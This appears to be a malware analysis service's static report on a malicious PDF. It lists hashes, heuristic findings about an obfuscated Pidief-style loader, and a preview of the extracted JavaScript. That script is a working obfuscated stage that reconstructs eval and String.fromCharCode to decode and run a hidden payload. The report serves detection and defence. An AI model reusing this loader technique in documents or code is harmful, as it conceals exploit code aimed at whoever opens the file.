Malicious PDF — malware analysis report

Static analysis result for SHA-256 ca3297eeffa8f641…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2026-05-08
MD5: 7b182cf30dd3cbf097bde2f5ad2bb7ff SHA-1: a8b85a5f61ccdecf81165c3fc23c90f890402209 SHA-256: ca3297eeffa8f6417c0a794375969aa32d1034b008ce370d92a8bed58d524213
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB07E 470 bytes
SHA-256: 76b788e2be015883c2fd0989b0f15d0eda547285ce370de327a0a5b9b310b5cd
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='e';
a=c.concat('|','a',"n","b","w",b,"o");
s=a[t.length-2].concat(b,a[2],t[0]);
e=v[v]()[s];
ehp=e(v[4]+'i'.concat(v[4],t));
q=ehp[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.fro';
d+=q;
atyq=e(d);
q=ehp[v](t.length+12)[v[0]+e(v[0]+'u'+'b'+'jec'+v[4])+'t']('c');
k=q[t[0].concat('en'+'gth')];
i=t.length-2;
while(i<k){
	zes = 1*(q[i]);
	i++;
	zes -= (-1)*(q[i]);
	s2 += atyq(zes);
	i++;
}
e(s2);

Open this report in the interactive analyzer, or submit your own file for analysis.